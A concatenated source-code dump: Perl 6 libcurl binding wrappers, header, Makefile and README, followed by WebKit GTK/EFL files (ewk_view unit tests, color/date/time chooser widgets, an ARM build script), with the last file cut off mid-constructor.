int perl6_curlopt_ssh_keydata () { return CURLOPT_SSH_KEYDATA; }
int perl6_curlopt_ssh_keyfunction () { return CURLOPT_SSH_KEYFUNCTION; }
int perl6_curlopt_ssh_knownhosts () { return CURLOPT_SSH_KNOWNHOSTS; }
int perl6_curlopt_ssh_private_keyfile () { return CURLOPT_SSH_PRIVATE_KEYFILE; }
int perl6_curlopt_ssh_public_keyfile () { return CURLOPT_SSH_PUBLIC_KEYFILE; }
int perl6_curlopt_sslcert () { return CURLOPT_SSLCERT; }
int perl6_curlopt_sslcertpasswd () { return CURLOPT_SSLCERTPASSWD; }
int perl6_curlopt_sslcerttype () { return CURLOPT_SSLCERTTYPE; }
int perl6_curlopt_sslengine () { return CURLOPT_SSLENGINE; }
int perl6_curlopt_sslengine_default () { return CURLOPT_SSLENGINE_DEFAULT; }
int perl6_curlopt_sslkey () { return CURLOPT_SSLKEY; }
int perl6_curlopt_sslkeypasswd () { return CURLOPT_SSLKEYPASSWD; }
int perl6_curlopt_sslkeytype () { return CURLOPT_SSLKEYTYPE; }
int perl6_curlopt_sslversion () { return CURLOPT_SSLVERSION; }
int perl6_curlopt_ssl_cipher_list () { return CURLOPT_SSL_CIPHER_LIST; }
int perl6_curlopt_ssl_ctx_data () { return CURLOPT_SSL_CTX_DATA; }
int perl6_curlopt_ssl_ctx_function () { return CURLOPT_SSL_CTX_FUNCTION; }
int perl6_curlopt_ssl_options () { return CURLOPT_SSL_OPTIONS; }
int perl6_curlopt_ssl_sessionid_cache () { return CURLOPT_SSL_SESSIONID_CACHE; }
int perl6_curlopt_ssl_verifyhost () { return CURLOPT_SSL_VERIFYHOST; }
int perl6_curlopt_ssl_verifypeer () { return CURLOPT_SSL_VERIFYPEER; }
int perl6_curlopt_stderr () { return CURLOPT_STDERR; }
int perl6_curlopt_tcp_keepalive () { return CURLOPT_TCP_KEEPALIVE; }
int perl6_curlopt_tcp_keepidle () { return CURLOPT_TCP_KEEPIDLE; }
int perl6_curlopt_tcp_keepintvl () { return CURLOPT_TCP_KEEPINTVL; }
int perl6_curlopt_tcp_nodelay () { return CURLOPT_TCP_NODELAY; }
int perl6_curlopt_telnetoptions () { return CURLOPT_TELNETOPTIONS; }
int perl6_curlopt_tftp_blksize () { return CURLOPT_TFTP_BLKSIZE; }
int perl6_curlopt_timecondition () { return CURLOPT_TIMECONDITION; }
int perl6_curlopt_timeout () { return CURLOPT_TIMEOUT; }
int perl6_curlopt_timeout_ms () { return CURLOPT_TIMEOUT_MS; }
int perl6_curlopt_timevalue () { return CURLOPT_TIMEVALUE; }
int perl6_curlopt_tlsauth_password () { return CURLOPT_TLSAUTH_PASSWORD; }
int perl6_curlopt_tlsauth_type () { return CURLOPT_TLSAUTH_TYPE; }
int perl6_curlopt_tlsauth_username () { return CURLOPT_TLSAUTH_USERNAME; }
int perl6_curlopt_transfertext () { return CURLOPT_TRANSFERTEXT; }
int perl6_curlopt_transfer_encoding () { return CURLOPT_TRANSFER_ENCODING; }
int perl6_curlopt_unrestricted_auth () { return CURLOPT_UNRESTRICTED_AUTH; }
int perl6_curlopt_upload () { return CURLOPT_UPLOAD; }
int perl6_curlopt_url () { return CURLOPT_URL; }
int perl6_curlopt_useragent () { return CURLOPT_USERAGENT; }
int perl6_curlopt_username () { return CURLOPT_USERNAME; }
int perl6_curlopt_userpwd () { return CURLOPT_USERPWD; }
int perl6_curlopt_use_ssl () { return CURLOPT_USE_SSL; }
int perl6_curlopt_verbose () { return CURLOPT_VERBOSE; }
int perl6_curlopt_wildcardmatch () { return CURLOPT_WILDCARDMATCH; }
int perl6_curlopt_writedata () { return CURLOPT_WRITEDATA; }
int perl6_curlopt_writefunction () { return CURLOPT_WRITEFUNCTION; }
int perl6_curlopt_writeheader () { return CURLOPT_WRITEHEADER; }
int perl6_curlopt_writeinfo () { return CURLOPT_WRITEINFO; }
<file_sep>#include <curl/curl.h>
#include <curl/easy.h>
#include <curl/multi.h>
int perl6_curlinfo_appconnect_time ();
int perl6_curlinfo_certinfo ();
int perl6_curlinfo_condition_unmet ();
int perl6_curlinfo_connect_time ();
int perl6_curlinfo_content_length_download ();
int perl6_curlinfo_content_length_upload ();
int perl6_curlinfo_content_type ();
int perl6_curlinfo_cookielist ();
int perl6_curlinfo_data_in ();
int perl6_curlinfo_data_out ();
int perl6_curlinfo_double ();
int perl6_curlinfo_effective_url ();
int perl6_curlinfo_end ();
int perl6_curlinfo_filetime ();
int perl6_curlinfo_ftp_entry_path ();
int perl6_curlinfo_header_in ();
int perl6_curlinfo_header_out ();
int perl6_curlinfo_header_size ();
int perl6_curlinfo_httpauth_avail ();
int perl6_curlinfo_http_code ();
int perl6_curlinfo_http_connectcode ();
int perl6_curlinfo_lastone ();
int perl6_curlinfo_lastsocket ();
int perl6_curlinfo_local_ip ();
int perl6_curlinfo_local_port ();
int perl6_curlinfo_long ();
int perl6_curlinfo_mask ();
int perl6_curlinfo_namelookup_time ();
int perl6_curlinfo_none ();
int perl6_curlinfo_num_connects ();
int perl6_curlinfo_os_errno ();
int perl6_curlinfo_pretransfer_time ();
int perl6_curlinfo_primary_ip ();
int perl6_curlinfo_primary_port ();
int perl6_curlinfo_private ();
int perl6_curlinfo_proxyauth_avail ();
int perl6_curlinfo_redirect_count ();
int perl6_curlinfo_redirect_time ();
int perl6_curlinfo_redirect_url ();
int perl6_curlinfo_request_size ();
int perl6_curlinfo_response_code ();
int perl6_curlinfo_rtsp_client_cseq ();
int perl6_curlinfo_rtsp_cseq_recv ();
int perl6_curlinfo_rtsp_server_cseq ();
int perl6_curlinfo_rtsp_session_id ();
int perl6_curlinfo_size_download ();
int perl6_curlinfo_size_upload ();
int perl6_curlinfo_slist ();
int perl6_curlinfo_speed_download ();
int perl6_curlinfo_speed_upload ();
int perl6_curlinfo_ssl_data_in ();
int perl6_curlinfo_ssl_data_out ();
int perl6_curlinfo_ssl_engines ();
int perl6_curlinfo_ssl_verifyresult ();
int perl6_curlinfo_starttransfer_time ();
int perl6_curlinfo_string ();
int perl6_curlinfo_text ();
int perl6_curlinfo_total_time ();
int perl6_curlinfo_typemask ();
int perl6_curlopttype_functionpoint ();
int perl6_curlopttype_long ();
int perl6_curlopttype_objectpoint ();
int perl6_curlopttype_off_t ();
int perl6_curlopt_accepttimeout_ms ();
int perl6_curlopt_accept_encoding ();
int perl6_curlopt_address_scope ();
int perl6_curlopt_append ();
int perl6_curlopt_autoreferer ();
int perl6_curlopt_buffersize ();
int perl6_curlopt_cainfo ();
int perl6_curlopt_capath ();
int perl6_curlopt_certinfo ();
int perl6_curlopt_chunk_bgn_function ();
int perl6_curlopt_chunk_data ();
int perl6_curlopt_chunk_end_function ();
int perl6_curlopt_closepolicy ();
int perl6_curlopt_closesocketdata ();
int perl6_curlopt_closesocketfunction ();
int perl6_curlopt_connecttimeout ();
int perl6_curlopt_connecttimeout_ms ();
int perl6_curlopt_connect_only ();
int perl6_curlopt_conv_from_network_function ();
int perl6_curlopt_conv_from_utf8_function ();
int perl6_curlopt_conv_to_network_function ();
int perl6_curlopt_cookie ();
int perl6_curlopt_cookiefile ();
int perl6_curlopt_cookiejar ();
int perl6_curlopt_cookielist ();
int perl6_curlopt_cookiesession ();
int perl6_curlopt_copypostfields ();
int perl6_curlopt_crlf ();
int perl6_curlopt_crlfile ();
int perl6_curlopt_customrequest ();
int perl6_curlopt_debugdata ();
int perl6_curlopt_debugfunction ();
int perl6_curlopt_dirlistonly ();
int perl6_curlopt_dns_cache_timeout ();
int perl6_curlopt_dns_servers ();
int perl6_curlopt_dns_use_global_cache ();
int perl6_curlopt_egdsocket ();
int perl6_curlopt_encoding ();
int perl6_curlopt_errorbuffer ();
int perl6_curlopt_failonerror ();
int perl6_curlopt_file ();
int perl6_curlopt_filetime ();
int perl6_curlopt_fnmatch_data ();
int perl6_curlopt_fnmatch_function ();
int perl6_curlopt_followlocation ();
int perl6_curlopt_forbid_reuse ();
int perl6_curlopt_fresh_connect ();
int perl6_curlopt_ftpappend ();
int perl6_curlopt_ftplistonly ();
int perl6_curlopt_ftpport ();
int perl6_curlopt_ftpsslauth ();
int perl6_curlopt_ftp_account ();
int perl6_curlopt_ftp_alternative_to_user ();
int perl6_curlopt_ftp_create_missing_dirs ();
int perl6_curlopt_ftp_filemethod ();
int perl6_curlopt_ftp_response_timeout ();
int perl6_curlopt_ftp_skip_pasv_ip ();
int perl6_curlopt_ftp_ssl ();
int perl6_curlopt_ftp_ssl_ccc ();
int perl6_curlopt_ftp_use_eprt ();
int perl6_curlopt_ftp_use_epsv ();
int perl6_curlopt_ftp_use_pret ();
int perl6_curlopt_gssapi_delegation ();
int perl6_curlopt_header ();
int perl6_curlopt_headerdata ();
int perl6_curlopt_headerfunction ();
int perl6_curlopt_http200aliases ();
int perl6_curlopt_httpauth ();
int perl6_curlopt_httpget ();
int perl6_curlopt_httpheader ();
int perl6_curlopt_httppost ();
int perl6_curlopt_httpproxytunnel ();
int perl6_curlopt_http_content_decoding ();
int perl6_curlopt_http_transfer_decoding ();
int perl6_curlopt_http_version ();
int perl6_curlopt_ignore_content_length ();
int perl6_curlopt_infile ();
int perl6_curlopt_infilesize ();
int perl6_curlopt_infilesize_large ();
int perl6_curlopt_interface ();
int perl6_curlopt_interleavedata ();
int perl6_curlopt_interleavefunction ();
int perl6_curlopt_ioctldata ();
int perl6_curlopt_ioctlfunction ();
int perl6_curlopt_ipresolve ();
int perl6_curlopt_issuercert ();
int perl6_curlopt_keypasswd ();
int perl6_curlopt_krb4level ();
int perl6_curlopt_krblevel ();
int perl6_curlopt_localport ();
int perl6_curlopt_localportrange ();
int perl6_curlopt_low_speed_limit ();
int perl6_curlopt_low_speed_time ();
int perl6_curlopt_mail_auth ();
int perl6_curlopt_mail_from ();
int perl6_curlopt_mail_rcpt ();
int perl6_curlopt_maxconnects ();
int perl6_curlopt_maxfilesize ();
int perl6_curlopt_maxfilesize_large ();
int perl6_curlopt_maxredirs ();
int perl6_curlopt_max_recv_speed_large ();
int perl6_curlopt_max_send_speed_large ();
int perl6_curlopt_netrc ();
int perl6_curlopt_netrc_file ();
int perl6_curlopt_new_directory_perms ();
int perl6_curlopt_new_file_perms ();
int perl6_curlopt_nobody ();
int perl6_curlopt_noprogress ();
int perl6_curlopt_noproxy ();
int perl6_curlopt_nosignal ();
int perl6_curlopt_opensocketdata ();
int perl6_curlopt_opensocketfunction ();
int perl6_curlopt_password ();
int perl6_curlopt_port ();
int perl6_curlopt_post ();
int perl6_curlopt_post301 ();
int perl6_curlopt_postfields ();
int perl6_curlopt_postfieldsize ();
int perl6_curlopt_postfieldsize_large ();
int perl6_curlopt_postquote ();
int perl6_curlopt_postredir ();
int perl6_curlopt_prequote ();
int perl6_curlopt_private ();
int perl6_curlopt_progressdata ();
int perl6_curlopt_progressfunction ();
int perl6_curlopt_protocols ();
int perl6_curlopt_proxy ();
int perl6_curlopt_proxyauth ();
int perl6_curlopt_proxypassword ();
int perl6_curlopt_proxyport ();
int perl6_curlopt_proxytype ();
int perl6_curlopt_proxyusername ();
int perl6_curlopt_proxyuserpwd ();
int perl6_curlopt_proxy_transfer_mode ();
int perl6_curlopt_put ();
int perl6_curlopt_quote ();
int perl6_curlopt_random_file ();
int perl6_curlopt_range ();
int perl6_curlopt_readdata ();
int perl6_curlopt_readfunction ();
int perl6_curlopt_redir_protocols ();
int perl6_curlopt_referer ();
int perl6_curlopt_resolve ();
int perl6_curlopt_resume_from ();
int perl6_curlopt_resume_from_large ();
int perl6_curlopt_rtspheader ();
int perl6_curlopt_rtsp_client_cseq ();
int perl6_curlopt_rtsp_request ();
int perl6_curlopt_rtsp_server_cseq ();
int perl6_curlopt_rtsp_session_id ();
int perl6_curlopt_rtsp_stream_uri ();
int perl6_curlopt_rtsp_transport ();
int perl6_curlopt_seekdata ();
int perl6_curlopt_seekfunction ();
int perl6_curlopt_server_response_timeout ();
int perl6_curlopt_share ();
int perl6_curlopt_sockoptdata ();
int perl6_curlopt_sockoptfunction ();
int perl6_curlopt_socks5_gssapi_nec ();
int perl6_curlopt_socks5_gssapi_service ();
int perl6_curlopt_ssh_auth_types ();
int perl6_curlopt_ssh_host_public_key_md5 ();
int perl6_curlopt_ssh_keydata ();
int perl6_curlopt_ssh_keyfunction ();
int perl6_curlopt_ssh_knownhosts ();
int perl6_curlopt_ssh_private_keyfile ();
int perl6_curlopt_ssh_public_keyfile ();
int perl6_curlopt_sslcert ();
int perl6_curlopt_sslcertpasswd ();
int perl6_curlopt_sslcerttype ();
int perl6_curlopt_sslengine ();
int perl6_curlopt_sslengine_default ();
int perl6_curlopt_sslkey ();
int perl6_curlopt_sslkeypasswd ();
int perl6_curlopt_sslkeytype ();
int perl6_curlopt_sslversion ();
int perl6_curlopt_ssl_cipher_list ();
int perl6_curlopt_ssl_ctx_data ();
int perl6_curlopt_ssl_ctx_function ();
int perl6_curlopt_ssl_options ();
int perl6_curlopt_ssl_sessionid_cache ();
int perl6_curlopt_ssl_verifyhost ();
int perl6_curlopt_ssl_verifypeer ();
int perl6_curlopt_stderr ();
int perl6_curlopt_tcp_keepalive ();
int perl6_curlopt_tcp_keepidle ();
int perl6_curlopt_tcp_keepintvl ();
int perl6_curlopt_tcp_nodelay ();
int perl6_curlopt_telnetoptions ();
int perl6_curlopt_tftp_blksize ();
int perl6_curlopt_timecondition ();
int perl6_curlopt_timeout ();
int perl6_curlopt_timeout_ms ();
int perl6_curlopt_timevalue ();
int perl6_curlopt_tlsauth_password ();
int perl6_curlopt_tlsauth_type ();
int perl6_curlopt_tlsauth_username ();
int perl6_curlopt_transfertext ();
int perl6_curlopt_transfer_encoding ();
int perl6_curlopt_unrestricted_auth ();
int perl6_curlopt_upload ();
int perl6_curlopt_url ();
int perl6_curlopt_useragent ();
int perl6_curlopt_username ();
int perl6_curlopt_userpwd ();
int perl6_curlopt_use_ssl ();
int perl6_curlopt_verbose ();
int perl6_curlopt_wildcardmatch ();
int perl6_curlopt_writedata ();
int perl6_curlopt_writefunction ();
int perl6_curlopt_writeheader ();
int perl6_curlopt_writeinfo ();
<file_sep>.DEFAULT: all
all: libperl6_curl.so libperl6_curl.a
libperl6_curl.a: perl6_curl.o
ar rcs libperl6_curl.a perl6_curl.o
libperl6_curl.so: perl6_curl.o
gcc -shared -Wl,-soname,libperl6_curl.so -o libperl6_curl.so perl6_curl.o
perl6_curl.o: perl6_curl.c perl6_curl.h
gcc -c -fPIC perl6_curl.c -o perl6_curl.o
install: all
install libperl6_curl.so /usr/lib
install perl6_curl.h /usr/include
clean:
rm -v *.o
rm -v *.a
rm -v *.so
<file_sep># Curl6: libcurl bindings for Perl 6
## NOTE
I am discontinuing this library. Instead, I will be writing a new library
called Net::Curl::Easy that will be a user-friendly wrapper to the
[Net::Curl](https://github.com/azawawi/perl6-net-curl/) library. Stay tuned.
## Introduction
Inspired by WWW::Curl and WWW::Curl::Simple from Perl 5, as well as my own HTTP::Client
for Perl 6, this is a binding for the libcurl library for Perl 6, and some nice wrappers
to make things easier to work with.
## Goal
```perl
my $c = WWW::Curl.new;
my $response = $c.verbose.get('http://huri.net/test.txt');
if ($reponse.success) {
say $response.body;
}
else {
say "Error: {$response.errcode} occurred.";
}
```
## Requirements
NativeCall
## Author
<NAME>
## License
Artistic License 2.0
| 9584df1ebad1f9de616a0801d6a272c04703c384 | [
"Markdown",
"C",
"Makefile"
] | 4 | C | supernovus/perl6-libcurl | ca624d7c3eb07aae3161ce4cb0fcbb8094d340be | 79e0fef7746a33412d2aaa8c0ef452b135360818 |
refs/heads/master | <repo_name>ggonpereira/proffy-next-level-week2<file_sep>/README.md
# proffy-next-level-week2
Proffy is an online study platform to connect teachers and students. This project was created during the Next Level Week (NLW) #2 from @Rocketseat
<file_sep>/public/scripts/addField.js
// Search the button
document.querySelector("#add-time")
// When the user clicks the button
.addEventListener("click", cloneField)
// Execute a action
function cloneField() {
// Clone the fields
const newFieldContainer = document.querySelector(".schedule-item").cloneNode(true) // boolean: true or false
// Pick the fields
const fields = newFieldContainer.querySelectorAll("input")
// For each field, clear
fields.forEach(function(field) {
// Pick the "moment" field and clear it
field.value = ""
})
// Put in the HTML
document.querySelector("#schedule-items").appendChild(newFieldContainer)
}
| 4c6ffc328daf47d848eb0d476547097f746cc01d | [
"Markdown",
"JavaScript"
] | 2 | Markdown | ggonpereira/proffy-next-level-week2 | 2d33b1ca6ba48e7cdf524777e5d287c7cda40752 | 0db3db3d164670ce7a9b491c407b56edb80d9673 |
refs/heads/master | <repo_name>highweb-project/qplusweb<file_sep>/Source/WebKit/efl/tests/test_ewk_view.cpp
/*
Copyright (C) 2012 Samsung Electronics
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this library; if not, write to the Free Software Foundation,
Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "config.h"
#include "UnitTestUtils/EWKTestBase.h"
#include "UnitTestUtils/EWKTestConfig.h"
#include <EWebKit.h>
#include <Ecore.h>
#include <wtf/OwnPtr.h>
#include <wtf/PassOwnPtr.h>
using namespace EWKUnitTests;
/**
* @brief Checking whether function properly returns correct value.
*/
TEST_F(EWKTestBase, ewk_view_editable_get)
{
loadUrl();
ewk_view_editable_set(webView(), true);
ASSERT_TRUE(ewk_view_editable_get(webView()));
}
/**
* @brief Checking whether function returns correct uri string.
*/
TEST_F(EWKTestBase, ewk_view_uri_get)
{
loadUrl();
ASSERT_STREQ(Config::defaultTestPage, ewk_view_uri_get(webView()));
}
/**
* @brief Checking whether function properly get/set fullscreen setting value.
*/
TEST_F(EWKTestBase, ewk_view_setting_enable_fullscreen)
{
loadUrl();
#if ENABLE(FULLSCREEN_API)
ASSERT_TRUE(ewk_view_setting_enable_fullscreen_get(webView()));
ASSERT_TRUE(ewk_view_setting_enable_fullscreen_set(webView(), true));
ASSERT_TRUE(ewk_view_setting_enable_fullscreen_get(webView()));
ASSERT_TRUE(ewk_view_setting_enable_fullscreen_set(webView(), false));
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_get(webView()));
#else
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_get(webView()));
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_set(webView(), true));
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_get(webView()));
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_set(webView(), false));
ASSERT_FALSE(ewk_view_setting_enable_fullscreen_get(webView()));
#endif
}
/**
* @brief Checking whether function properly get/set tiled backing store setting value.
*/
TEST_F(EWKTestBase, ewk_view_setting_tiled_backing_store)
{
loadUrl();
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_get(webView()));
#if USE(TILED_BACKING_STORE)
ASSERT_TRUE(ewk_view_setting_tiled_backing_store_enabled_set(webView(), true));
ASSERT_TRUE(ewk_view_setting_tiled_backing_store_enabled_get(webView()));
ASSERT_TRUE(ewk_view_setting_tiled_backing_store_enabled_set(webView(), false));
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_get(webView()));
#else
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_set(webView(), true));
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_get(webView()));
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_set(webView(), false));
ASSERT_FALSE(ewk_view_setting_tiled_backing_store_enabled_get(webView()));
#endif
}
/**
* @brief Checking whether function returns proper context menu structure.
*
* This test creates a context menu and checks if context menu structure
* is not NULL;
*/
TEST_F(EWKTestBase, ewk_view_context_menu_get)
{
loadUrl();
Evas* evas = evas_object_evas_get(webView());
ASSERT_TRUE(evas);
Evas_Event_Mouse_Down mouseDown;
mouseDown.button = 3;
mouseDown.output.x = 0;
mouseDown.output.y = 0;
mouseDown.canvas.x = 0;
mouseDown.canvas.y = 0;
mouseDown.data = 0;
mouseDown.modifiers = const_cast<Evas_Modifier*>(evas_key_modifier_get(evas));
mouseDown.locks = const_cast<Evas_Lock*>(evas_key_lock_get(evas));
mouseDown.flags = EVAS_BUTTON_NONE;
mouseDown.timestamp = ecore_loop_time_get();
mouseDown.event_flags = EVAS_EVENT_FLAG_NONE;
mouseDown.dev = 0;
ASSERT_TRUE(ewk_view_context_menu_forward_event(webView(), &mouseDown));
ASSERT_TRUE(ewk_view_context_menu_get(webView()));
}
<file_sep>/Source/WebKit/gtk/WebCoreSupport/DateTimeChooserGtk.h
#ifndef DateTimeChooserGtk_h
#define DateTimeChooserGtk_h
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "ChromeClient.h"
#include "BaseDateTimeChooserGtk.h"
namespace WebCore {
class ChromeClient;
struct pastValues;
class DateTimeChooserGtk : public BaseDateTimeChooserGtk
{
public:
DateTimeChooserGtk(ChromeClient* chromeClient, String type);
~DateTimeChooserGtk();
void reattachDateTimeChooser();
GtkWidget* calendar() { return m_calendarDateChooser; }
GtkWidget* combobox() { return m_comboboxAmPm; }
GtkWidget* spinbuttonHour() { return m_spinbuttonHour;}
GtkWidget* spinbuttonMinute() { return m_spinbuttonMinute;}
protected:
bool createDateTimeChooserWidget();
private:
GtkWidget* m_calendarDateChooser;
GtkWidget* m_comboboxAmPm;
GtkWidget* m_spinbuttonHour;
GtkWidget* m_spinbuttonMinute;
GtkWidget* m_buttonOk;
GtkWidget* m_buttonCancle;
GtkWidget* m_labelCurrentDate;
GtkWidget* m_labelCurrentTime;
};
} //namespace webcore
#endif //ENABLE(DATE_AND_TIME_INPUT_TYPES)
#endif
<file_sep>/Source/WebKit/gtk/WebCoreSupport/ColorChooserGtk.cpp
#include "config.h"
#if ENABLE(INPUT_TYPE_COLOR)
#include "Color.h"
#include "ColorChooserGtk.h"
#include "ChromeClientGtk.h"
#include "ColorChooserClient.h"
#include <gtk/gtk.h>
#include <gdk/gdk.h>
#define COLOR_8_TO_16(x) (x << 8) + x
#define COLOR_16_TO_8(x) (x >> 8)
namespace WebCore {
void colorChooserOkResponseCallback(GtkWidget* widget, GdkEventButton* gevent, gpointer data)
{
ColorChooserGtk* chooser = reinterpret_cast<ColorChooserGtk*>(data);
if(chooser && chooser->client())
{
GdkColor gColor;
GtkWidget* colorSelection;
colorSelection = gtk_color_selection_dialog_get_color_selection(GTK_COLOR_SELECTION_DIALOG(chooser->dialog()));
gtk_color_selection_get_current_color(GTK_COLOR_SELECTION (colorSelection),&gColor);
Color color(gColor);
chooser->client()->updateColorChooser(color);
gtk_widget_hide(GTK_WIDGET(chooser->dialog()));
}
}
void colorChooserCancleResponseCallback(GtkWidget* widget, GdkEventButton* gevent, gpointer data)
{
ColorChooserGtk* chooser = reinterpret_cast<ColorChooserGtk*>(data);
if(!chooser)
return ;
gtk_widget_hide(GTK_WIDGET(chooser->dialog()));
}
ColorChooserGtk::ColorChooserGtk(ChromeClient* chromeClient, const Color& color)
: m_chromeClient(chromeClient)
{
m_colorSelectionDialog = gtk_color_selection_dialog_new("color selection");
gtk_window_set_position(GTK_WINDOW(m_colorSelectionDialog), GTK_WIN_POS_CENTER);
GtkWidget* colorSelection;
colorSelection = gtk_color_selection_dialog_get_color_selection(GTK_COLOR_SELECTION_DIALOG(m_colorSelectionDialog));
GdkColor gColor;
gColor.red = COLOR_8_TO_16(color.red());
gColor.blue = COLOR_8_TO_16(color.green());
gColor.green = COLOR_8_TO_16(color.blue());
gtk_color_selection_set_current_color(GTK_COLOR_SELECTION(colorSelection),&gColor);
GtkWidget* okResponseButton = gtk_dialog_get_widget_for_response(GTK_DIALOG(m_colorSelectionDialog), GTK_RESPONSE_OK);
g_signal_connect(GTK_WIDGET(okResponseButton), "button_release_event", G_CALLBACK(colorChooserOkResponseCallback), (gpointer)this);
GtkWidget* abbrechenResponseButton = gtk_dialog_get_widget_for_response(GTK_DIALOG(m_colorSelectionDialog), GTK_RESPONSE_CANCEL);
g_signal_connect(GTK_WIDGET(abbrechenResponseButton), "button_release_event", G_CALLBACK(colorChooserCancleResponseCallback), (gpointer)this);
//g_signal_connect(GTK_DIALOG(m_colorSelectionDialog), "destroy", G_CALLBACK(gtk_widget_destroyed), &m_colorSelectionDialog);
g_signal_connect(GTK_WIDGET(m_colorSelectionDialog), "delete_event", G_CALLBACK(gtk_widget_hide_on_delete), NULL);
gtk_widget_show(GTK_WIDGET(m_colorSelectionDialog));
}
ColorChooserGtk::~ColorChooserGtk()
{
m_colorSelectionDialog = NULL;
}
void ColorChooserGtk::setSelectedColor(const Color& color)
{
if(!m_colorSelectionDialog)
return ;
GtkWidget* colorSelection;
colorSelection = gtk_color_selection_dialog_get_color_selection(GTK_COLOR_SELECTION_DIALOG(m_colorSelectionDialog));
GdkColor gColor;
gColor.red = COLOR_8_TO_16(color.red());
gColor.blue = COLOR_8_TO_16(color.green());
gColor.green = COLOR_8_TO_16(color.blue());
gtk_color_selection_set_current_color(GTK_COLOR_SELECTION(colorSelection),&gColor);
}
void ColorChooserGtk::endChooser()
{
if(m_colorSelectionDialog){
gtk_widget_destroy(GTK_WIDGET(m_colorSelectionDialog));
}
m_chromeClient->removeColorChooser();
}
//void ColorChooserGtk::showColorChooser()
void ColorChooserGtk::reattachColorChooser(const Color& color)
{
setSelectedColor(color);
if(m_colorSelectionDialog)
gtk_widget_show(GTK_WIDGET(m_colorSelectionDialog));
}
}
#endif // ENABLE(INPUT_TYPE_COLOR)
<file_sep>/armbuild/build.sh
clear
echo "======================================================"
echo " Web Service Library build system of SeedOpenPlatform"
echo "======================================================"
# choose build type
dependentfolderpath="/usr/local/webkit/odroidxu3/Dependencies/Root/lib"
if [ -d $dependentfolderpath ]
then
buildoption="--disable-webkit2 --disable-battery-status --enable-gamepad --enable-geolocation --enable-svg --enable-svg-fonts --enable-video --enable-webgl --enable-web-audio --disable-debug --enable-jit --enable-engine --enable-egl --enable-gles2 --host=arm-linux-gnueabihf --enable-odroid --enable-webcl --enable-webcl-conformance-test"
else
echo "not exist folder. invalid path : $dependentfolderpath"
exit
fi
export LD_LIBRARY_PATH="$dependentfolderpath" && export PKG_CONFIG_PATH="$dependentfolderpath/pkgconfig" && ../autogen.sh $buildoption
echo "===================================================="
echo "build option: $buildoption"
if [ $? -eq 0 ]
then
echo "Success configuration of WebEngine. Let's go make!!!"
else
echo "Fail to configure of WebEngine."
fi
echo "===================================================="
<file_sep>/Source/WebKit/gtk/WebCoreSupport/DateChooserGtk.h
#ifndef DateChooserGtk_h
#define DateChooserGtk_h
#if ENABLE(INPUT_TYPE_COLOR)
#include "DateTimeChooser.h"
#include "DateTimeChooserClient.h"
#include "DateTimeChooserGtk.h"
#include "BaseDateTimeChooserGtk.h"
#include "ChromeClient.h"
namespace WebCore {
class ChromeClient;
class DateChooserGtk : public BaseDateTimeChooserGtk {
public:
DateChooserGtk(ChromeClient* chromeClient, String type);
~DateChooserGtk();
void reattachDateTimeChooser();
GtkWidget* calendar() { return m_calendarDateChooser; }
protected:
virtual bool createDateTimeChooserWidget();
private:
GtkWidget* m_calendarDateChooser;
GtkWidget* m_labelCurrentDate;
};
} //namespace webcore
#endif
#endif
<file_sep>/Source/WebKit/gtk/WebCoreSupport/TimeChooserGtk.cpp
#include "config.h"
#if ENABLE(DATE_AND_TIME_INPUT_TYPES)
#include "ChromeClientGtk.h"
#include "BaseDateTimeChooserGtk.h"
#include "DateTimeChooserClient.h"
#include "TimeChooserGtk.h"
namespace WebCore {
void TimeChooserCancleButtonPressedCallback(GtkWidget* widget, gpointer data)
{
TimeChooserGtk* chooser = reinterpret_cast<TimeChooserGtk*>(data);
if(!chooser || !chooser->combobox() || !chooser->spinbuttonHour() || !chooser->spinbuttonMinute())
return;
gtk_widget_hide(GTK_WIDGET(chooser->window()));
if(chooser->getPastValues().sPastAmPm == AM)
gtk_combo_box_set_active (GTK_COMBO_BOX(chooser->combobox()), 0);
else
gtk_combo_box_set_active (GTK_COMBO_BOX(chooser->combobox()), 1);
gtk_spin_button_set_value(GTK_SPIN_BUTTON(chooser->spinbuttonHour()), chooser->getPastValues().iPastHour);
gtk_spin_button_set_value(GTK_SPIN_BUTTON(chooser->spinbuttonMinute()), chooser->getPastValues().iPastMin);
}
void TimeChooserOkButtonPressedCallback(GtkWidget* widget, gpointer data)
{
TimeChooserGtk* chooser = reinterpret_cast<TimeChooserGtk*>(data);
if( !chooser || !chooser->client() || !chooser->combobox() || !chooser->spinbuttonHour() || !chooser->spinbuttonMinute())
return;
String AmPm(gtk_combo_box_text_get_active_text(GTK_COMBO_BOX_TEXT(chooser->combobox())));
gint iHour = gtk_spin_button_get_value_as_int(GTK_SPIN_BUTTON(chooser->spinbuttonHour()));
if(AmPm == PM && iHour != NOON) //afternoon ex) 12:32, 14:32, ...
iHour += 12;
if(AmPm == AM && iHour == MIDNIGHT) //morning ex) 00:13, 1:13, ...
iHour = 0;
String sHour(String::number(iHour));
String sMinute(gtk_entry_get_text(GTK_ENTRY(chooser->spinbuttonMinute())));
if(sHour.length() < 2)
sHour.insert("0", 0);
if(sMinute.length() < 2)
sMinute.insert("0", 0);
chooser->client()->updateDateTimeChooser(String::format("%s:%s", sHour.utf8().data(), sMinute.utf8().data()));
gtk_widget_hide(GTK_WIDGET(chooser->window()));
}
TimeChooserGtk::TimeChooserGtk(ChromeClient* chromeClient, String type) : BaseDateTimeChooserGtk(chromeClient, type)
, m_comboboxAmPm(NULL)
, m_spinbuttonHour(NULL)
, m_spinbuttonMinute(NULL)
, m_buttonOk(NULL)
, m_buttonCancle(NULL)
